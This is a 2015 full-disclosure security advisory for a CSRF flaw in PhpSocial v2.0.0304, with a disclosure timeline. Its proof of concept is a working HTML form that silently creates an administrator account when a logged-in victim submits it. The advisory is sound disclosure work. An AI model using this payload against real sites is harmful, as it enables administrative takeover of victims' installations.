PhpSocial v2.0.0304: CSRF
Date: 2015-12-21 10:58:061. Introduction
| Affected Product: | PhpSocial v2.0.0304_20222226 |
| Fixed in: | not fixed |
| Fixed Version Link: | n/a |
| Vendor Webite: | http://phpsocial.net |
| Vulnerability Type: | CSRF |
| Remote Exploitable: | Yes |
| Reported to vendor: | 11/21/2015 |
| Disclosed to public: | 12/21/2015 |
| Release mode: | Full Disclosure |
| CVE: | n/a |
| Credits | Tim Coen of curesec GmbH |
2. Overview
CVSS
Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
Description
PhpSocial is a social networking software written in PHP. In version v2.0.0304, it does not have CSRF protection, which means that an attacker can perform actions for a victim, if the victim visits an attacker controlled site while logged in.
3. Proof of Concept
Add a new admin:
<html>
<body>
<form action="http://localhost/PhpSocial_v2.0.0304_20222226/cms_phpsocial/admin/AdminAddViewadmins.php" method="POST">
<input type="hidden" name="admin_username" value="admin2" />
<input type="hidden" name="admin_password" value="admin" />
<input type="hidden" name="admin_password_confirm" value="admin" />
<input type="hidden" name="admin_name" value="admin2" />
<input type="hidden" name="admin_email" value="admin2@example.com" />
<input type="hidden" name="task" value="addadmin" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
| 11/21/2015 | Contacted Vendor (no reply) |
| 12/10/2015 | Tried to remind vendor (no email is given, security@phpsocial.net does not exist, and contact form could not be used because the website is down) |
| 12/21/2015 | Disclosed to public |